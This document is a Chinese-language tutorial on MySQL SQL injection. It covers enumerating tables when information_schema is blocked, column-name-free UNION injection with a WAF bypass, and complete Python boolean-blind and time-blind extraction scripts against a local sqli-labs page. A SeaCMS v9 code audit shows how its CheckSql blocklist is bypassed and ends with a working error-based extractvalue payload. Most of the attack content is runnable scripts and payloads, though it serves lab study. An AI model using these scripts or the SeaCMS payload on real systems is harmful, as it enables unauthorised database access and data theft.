目录
[编辑 方法二:无列名注入](#编辑 方法二:无列名注入)
[编辑 时间盲注](#编辑 时间盲注)
[seacms v9](#seacms v9)
禁用information_schema解决方法
在information_schema数据库中储存了整个MySQL服务器的数据库名、表名,列名,字段等元数据。
方法一:替换法
在MySQL中,有着其他的数据库也存有部分元数据,看下其他的系统数据库sys和performance_schema,其中sys在MySQL5.7+版本存在。
sys
在sys.io_global_by_file_by_bytes中file字段可以获取库名表名,这是虚拟视图,数据来源于其他系统表,所以在软件中是看不到这张物理表。
sql
SELECT * FROM sys.io_global_by_file_by_bytes;

查看sys下虚拟视图
sql
SHOW FULL TABLES IN sys;

sys.schema_index_statistics视图中有部分表名和字段名
sys.schema_object_overview视图里有全部库名和库里面全部表的字段数个数

sys.schema_table_statistics,sys.schema_table_statistics_with_buffer视图里有全部自建表的库名和表名

performance_schema
performance_schema.events_statements_summary_by_digest里有历史查询记录

performance_schema.file_instances有全部表的存放文件

performance_schema.file_summary_by_instance,performance_schema.file_instances有全部表的存放文件,相当于全部库名表名。
方法二:无列名注入
在上文可以通过其他数据库查到库名和表名,那么对应的列名就要靠无列名注入方法获取。
当知道表名时,例如users,第一步要先探测该表的列数,利用union的特性列数必须一致
sql
SELECT 1,2,3 UNION SELECT * FROM users;
此时users表有三列,查询结果如下:

如果列数猜错,会报1222 - The used SELECT statements have a different number of columns,1222错误的意思是union要求多个select查询结果列数相同。
紧接着就可以使用数字来对应列,在外层查询使用了子查询的结果作为数据源,这里反单引号中的3代表的是列数。
sql
select `3` FROM (SELECT 1,2,3 UNION SELECT * FROM users) AS a;
#相当于select password FROM (SELECT 1,2,3 UNION SELECT * FROM users) AS a;

这里使用别名,当waf禁用反单引号时,可以通过别名绕过。例如:
sql
select B FROM (SELECT 1,2,3 AS B UNION SELECT * FROM users) AS a;

利用lxml模块进行布尔盲注
在 Python 中,XPath 是一种用于在 XML 或 HTML 文档中定位和提取数据的语言。Python 提供了多个库来支持 XPath 解析,其中最常用的是 lxml
和 xml.etree.ElementTree
。
简单用法示例:
python
from lxml import etree
# 解析 HTML 或 XML
html = """
<html>
<body>
<div id="content">
<p class="text">Hello, World!</p>
<p class="text">Python is awesome.</p>
</div>
</body>
</html>
"""
# 创建 ElementTree 对象
tree = etree.HTML(html)
# 使用 XPath 提取数据
result = tree.xpath('//p[@class="text"]/text()')
print(result) # 输出: ['Hello, World!', 'Python is awesome.']
XPATH
XPATH介绍:
XPath(XML Path Language) 是一种用于在 XML 或 HTML 文档中定位和提取数据的语言。它通过路径表达式(Path Expression)来导航文档树,支持复杂的数据查询和提取。
XPATH语法:
参考文章:
一个小时掌握 XPath 的详细使用方法(超级详细!)-CSDN博客https://blog.csdn.net/cui_yonghua/article/details/144893876

BeautifulSoup
是一个流行的 HTML/XML 解析库,通常与 lxml
结合使用,支持 XPath 查询。这个库功能也很强大,有兴趣研究。
布尔盲注
标准代码:
python
import requests
from lxml import etree #导入模块
url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'
#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():
datebasename = ''
for i in range(1, 9): # 假设数据库名称最多8个字符
start = 32
end = 128
while start <= end: #起始端等于终止端时命中
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr(database(),{i},1))> {middle},username,password)--+"
res = requests.get(url + payload)
html_content = res.text#获取实时的网页HTML源码
tree = etree.HTML(html_content)#这一步是解析HTML源码为lxml树结构
result = tree.xpath('//tr[1]/td[1]/text()')#这里利用xpath表达式拿id字段
if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
if result[0] == '8': #大于的情况id = 8,小于的时候id = 9
start = middle + 1 # 大于的情况下,证明目标字符在后半段
else:
end = middle - 1 # 小于的情况证明目标字符在前半段
if start > end:
datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
print(f"数据库名称是: {datebasename}")
database_name()
#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():
tablename = ''
for i in range(1,20):
start = 32
end = 128
while start <= end:
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle},username,password)-- "
res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到
html_content = res.text # 获取实时的网页HTML源码
tree = etree.HTML(html_content) # 这一步是解析HTML源码为lxml树结构
result = tree.xpath('//tr[1]/td[1]/text()') # 这里利用xpath表达式拿id字段
if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
if result[0] == '8': # 大于的情况id = 8,小于的时候id = 9
start = middle + 1 # 大于的情况下,证明目标字符在后半段
else:
end = middle - 1 # 小于的情况证明目标字符在前半段
if start > end:
tablename = tablename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
print(f"表名称是: {tablename}")
table_name()
#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():
columnname = ''
for i in range(1,20):
start = 32
end = 128
while start <= end:
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},username,password)-- "
res = requests.get(url + payload)
html_content = res.text # 获取实时的网页HTML源码
tree = etree.HTML(html_content) # 这一步是解析HTML源码为lxml树结构
result = tree.xpath('//tr[1]/td[1]/text()') # 这里利用xpath表达式拿id字段
if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
if result[0] == '8': # 大于的情况id = 8,小于的时候id = 9
start = middle + 1 # 大于的情况下,证明目标字符在后半段
else:
end = middle - 1 # 小于的情况证明目标字符在前半段
if start > end:
if middle == 0:
break
columnname += chr(start)
print(f"字段名是:{columnname}")
column_name()
运行结果:

时间盲注
时间盲注只是修改了pyload,其余代码不变与9关相同。
标准代码:
python
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'
#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():
datebasename = ''
for i in range(1, 9): # 假设数据库名称最多8个字符
start = 32
end = 128
while start <= end: #起始端等于终止端时命中
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr(database(),{i},1)) > {middle},(select 1 from (select sleep(2))as b),password)-- "
start_time = time.time()
res = requests.get(url + payload)
end_time = time.time()
if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
if (end_time - start_time) >= 2: # 这个时间差证明满足条件
start = middle + 1 # 大于的情况下,证明目标字符在后半段
else:
end = middle - 1 # 小于的情况证明目标字符在前半段
if start > end:
datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
print(f"数据库名称是: {datebasename}")
database_name()
def table_name():
tablename = ''
for i in range(1, 20):
start = 32
end = 126
while start <= end:
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},(select 1 from (select sleep(2))as b),password)-- "
start_time = time.time()
res = requests.get(url + payload)
end_time = time.time()
if res.status_code == 200:
if (end_time - start_time) >= 2:
start = middle + 1
else:
end = middle - 1
if start > end:
if middle == 0:
break
tablename += chr(start)
print(f"表名称是: {tablename}")
table_name()
def column_name():
columnname = ''
for i in range(1, 20):
start = 32
end = 128
while start <= end:
middle = (start + end) // 2
payload = f"?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},(select 1 from (select sleep(2))as b),password)-- "
start_time = time.time()
res = requests.get(url + payload)
end_time = time.time()
if res.status_code == 200:
if (end_time - start_time) >= 2:
start = middle + 1
else:
end = middle - 1
if start > end:
if middle == 0:
break
columnname += chr(start)
print(f"字段名是: {columnname}")
column_name()
seacms v9
海洋cms部署
可利用小皮或宝塔进行部署,也可自己部署,这里自己部署,方便调节。省略具体过程,只介绍遇到的问题及解决方案。
php版本问题
要求使用php-5.xfpm版本,查看安装的php-fpm版本
update-alternatives --display php-fpm
update-alternatives: 错误: 无 php-fpm 的候选项,看到这个提示证明只有一个版本,先安装其他版本。
交互式切换服务版本
sudo update-alternatives --config php-fpm
当这个交互失败时,发现找不到其他版本,直接修改nginx的配置文件,在location块中,有一行如下:
fastcgi_pass unix:/run/php/php5.6-fpm.sock; # 指定 PHP 5.6
这条配置可以写ip+端口,这样写你的php-fpm的配置文件里有一行pid配置也必须相同。
漏洞成因
首先假设开了上帝视角,知道了问题在于主体在于查询语句如下:
php
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
试试一点一点分析问题所在,排除无效代码后,第一个看到的是一个if判断语句:
php
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
其中有两个函数,file_exists和LoadFile,前者是用来判断文件是否存在,后者是自定义函数在common.file.func。
php
function loadFile($filePath)
{
if(!file_exists($filePath)){
echo "模版文件读取失败!";
exit();
}
$fp = @fopen($filePath,'r');
$sourceString = @fread($fp,filesize($filePath));
@fclose($fp);
return $sourceString;
}
后者也是读文件,接着往下看。
php
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
这里定义一个变量h与定义数组rlist[],传入参数id+page,来看ReadData函数:
php
function ReadData($id, $page)
{
global $type, $pCount, $rlist;
// 创建一个包含初始值的数组
$ret = array("", "", $page, 0, 10, $type, $id);
if ($id > 0) {
// 如果 id 大于 0,调用 Readmlist 函数并将结果赋值给 $ret[0]
$ret[0] = Readmlist($id, $page, $ret[4]);
// 将 $pCount 的值赋给 $ret[3]
$ret[3] = $pCount;
// 将 $rlist 数组的元素合并成一个逗号分隔的字符串
$x = implode(',', $rlist);
// 如果 $x 不为空,调用 Readrlist 函数
if (!empty($x)) {
$ret[1] = Readrlist($x, 1, 10000);
}
}
// 使用 FormatJson 函数格式化 $ret 数组并将结果存储在 $readData
$readData = FormatJson($ret);
// 返回格式化后的 JSON 数据
return $readData;
}
可以看出ReadData函数的作用是读取id和page数据,并格式化json数据返回。里面涉及到了两个自定义函数ReadList和ReadrList函数。
php
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
该函数主要是查询数据库与查询用户相关的评论,并格式化返回。
php
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
SQL注入漏洞就在这个函数中,这个函数的主要功能是根据提供评论的ID列表ids,查询数据库中与这些id相关的评论数据。问题在于这里直接把ids插入到查询语句中,如果控制这个ids的值,就可以控制整条查询语句。
来具体跟踪ids这个变量的来历和变化:
1.在ReadData函数中:
$ret[0] = Readmlist($id, $page, $ret[4]);
这行调用了Readmlist()
函数,在此过程中会读取评论列表并将评论 ID 存储在$rlist
数组中。- 之后,如果
$rlist
中有 ID 数据,它们将被拼接成一个字符串,最终赋值给$x
:
php
$x = implode(',', $rlist);
- 如果
$x
不为空,函数会调用Readrlist()
,并将$x
作为参数传入。
php
if (!empty($x)) {
$ret[1] = Readrlist($x, 1, 10000);
}
2.在Readmlist函数中:
- 该函数查询
sea_comment
表以获取评论列表。对于每个评论,ReadReplyID()
函数被调用来获取回复评论的 ID(如果有的话)。这些回复评论的 ID 会被存储到$rlist
中,并且$rlist
数组会被传递给ReadReplyID()
来递归地获取更多的评论 ID。
php
$row['reply'] .= ReadReplyID($id, $row['reply'], $rlist);
最总知道ids是评论列表id的用逗号分割的id字符串。
知道ids的来历后,继续看ReadList函数,SQL语句经过安全检查函数Execute:
php
function Execute($id="me", $sql='')
{
global $dsql;
self::$i++;
if($dsql->isClose)
{
$this->Open(false);
$dsql->isClose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
$this->result[$id] = mysql_query($this->queryString,$this->linkID);
//查询性能测试
//$queryTime = ExecTime() - $t1;
//if($queryTime > 0.05) {
//echo $this->queryString."--{$queryTime}<hr />\r\n";
//}
if($this->result[$id]===false)
{
$this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
其中的SQL语句过滤安全检查函数CheckSql:
php
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(m_eregi($notallow1,$db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
在CheckSql函数中有一行:
php
$clean .= '$s$';
这行代码会将查询语句中的所有单引号全部替换掉成s,因此将注入内容包裹在'IDS'内就可以绕过下列得一系列检查。但是会导致最终的查询语句语法错误,所以将单引号放在注释符里,保证语法正常。或者将@`'`内,作为自定义变量。
前面查询过滤恶意关键字:
php
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(m_eregi($notallow1,$db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
如果匹配到了关键字,会退出查询并记录日志。直接使用报错注入,并没有过滤报错注入的关键字。
然后我们看到最大的问题在于:
php
return $db_string;
返回的是过滤前的字符串,因此只需要绕过检查,就可以成功注入。
因此最终注入的方法是使用报错注入+注释符中单引号绕过的方法构造payload。
sql
@`\'`,extractvalue(1,concat_ws(0x20,0x5c,(select user()))),@`\'`
只需修改子查询就可以获取相应数据。